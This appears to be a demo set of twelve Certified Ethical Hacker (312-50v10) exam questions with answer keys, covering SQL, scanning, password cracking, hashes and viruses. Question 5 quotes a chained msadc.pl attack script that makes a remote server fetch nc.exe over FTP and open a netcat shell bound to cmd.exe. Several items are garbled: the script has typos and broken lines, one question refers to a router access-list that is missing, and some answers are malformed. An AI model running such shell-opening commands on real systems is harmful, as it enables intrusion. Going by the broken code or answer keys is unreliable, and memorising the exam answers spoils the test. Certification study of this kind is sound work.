Vendor:EC-COUNCIL

Exam Code:312-50V10

Exam Name: Certified Ethical Hacker Exam (C|EH v10)

Version: Demo

QUESTION 1

Which of the following is used to indicate a single-line comment in structured query language (SQL)?

A. -

B. ||

C. %%

D. \\'\\'

Correct Answer: A

QUESTION 2

Destination unreachable administratively prohibited messages can inform the hacker to what?

A. That a circuit level proxy has been installed and is filtering traffic

B. That his/her scans are being blocked by a honeypot or jail

C. That the packets are being malformed by the scanning software

D. That a router or other packet-filtering device is blocking traffic

E. That the network is functioning normally

Correct Answer: D

QUESTION 3

This kind of password cracking method uses word lists in combination with numbers and special characters:

A. Hybrid

B. Linear

C. Symmetric

D. Brute Force

Correct Answer: A

QUESTION 4

Security Policy is a definition of what it means to be secure for a system, organization or other entity. For Information Technologies, there are sub-policies like Computer Security Policy, Information Protection Policy, Information Security Policy, network Security Policy, Physical Security Policy, Remote Access Policy, and User Account Policy.

What is the main theme of the sub-policies for Information Technologies?

A. Availability, Non-repudiation, Confidentiality

B. Authenticity, Integrity, Non-repudiation

C. Confidentiality, Integrity, Availability

D. Authenticity, Confidentiality, Integrity

Correct Answer: C

QUESTION 5

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:

```
systen("perl msadc.pl -h $host -C \"echo open $your >testfile\"");
systen("perl msadc.pl -h $host -C \"echo $user>>testfile\"");
systen("perl msadc.pl -h $host -C \"echo $pass>>testfile\"");
systen("perl msadc.pl -h $host -C \"echo bin>>testfile\"");
systen("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\"");
systen("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\"");
("perl msadc.pl -h $host -C \"echo quit>>testfile\"");
systen("perl msadc.pl -h $host -C \"ftp \-s\:testfile\"");
$o=; print "Opening ...\n";
systen("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");
```

Which exploit is indicated by this script?

A. A buffer overflow exploit

B. A chained exploit

C. A SQL injection exploit

D. A denial of service exploit

Correct Answer: B

QUESTION 6

The network administrator at Spears Technology, Inc has configured the default gateway Cisco router\\'s

access-list as below:

You are hired to conduct security testing on their network.

You successfully brute-force the SNMP community string using a SNMP crack tool.

The access-list configured at the router prevents you from establishing a successful connection.

You want to retrieve the Cisco configuration from the router. How would you proceed?

A. Use the Cisco\\'s TFTP default password to connect and download the configuration file

B. Run a network sniffer and capture the returned traffic with the configuration file from the router

C. Run Generic Routing Encapsulation (GRE) tunneling protocol from your computer to the router masking your IP address

D. Send a customized SNMP set request with a spoofed source IP address in the range - 192.168.1.0

Correct Answer: BD

QUESTION 7

Which type of cryptography does SSL, IKE and PGP belongs to?

A. Secret Key

B. Hash Algorithm

C. Digest

D. Public Key

Correct Answer: D

QUESTION 8

A company recently hired your team of Ethical Hackers to test the security of their network systems. The company wants to have the attack be as realistic as possible. They did not provide any information besides the name of their company. What phase of security testing would your team jump in right away?

A. Scanning

B. Reconnaissance

C. Escalation

D. Enumeration

Correct Answer: B

QUESTION 9

A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack?

A. Implementing server-side PKI certificates for all connections

B. Mandating only client-side PKI certificates for all connections

C. Requiring client and server PKI certificates for all connections

D. Requiring strong authentication for all DNS queries

Correct Answer: C

QUESTION 10

LM hash is a compromised password hashing function. Which of the following parameters describe LM Hash:?

I -The maximum password length is 14 characters.

II -There are no distinctions between uppercase and lowercase.

III -It\\'s a simple algorithm, so 10,000,000 hashes can be generated per second.

A. I

B. I, II, and III

C. II

D. I and II

Correct Answer: B

QUESTION 11

What is one thing a tester can do to ensure that the software is trusted and is not changing or tampering with critical data on the back end of a system it is loaded on?

A. Proper testing

B. Secure coding principles

C. Systems security and architecture review

D. Analysis of interrupts within the software

Correct Answer: D

QUESTION 12

Which of the following BEST describes the mechanism of a Boot Sector Virus?

A. Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR

B. Moves the MBR to another location on the RAM and copies itself to the original location of the MBR

C. Overwrites the original MBR and only executes the new virus code

D. Modifies directory table entries so that directory entries point to the virus code instead of the actual program

Correct Answer: A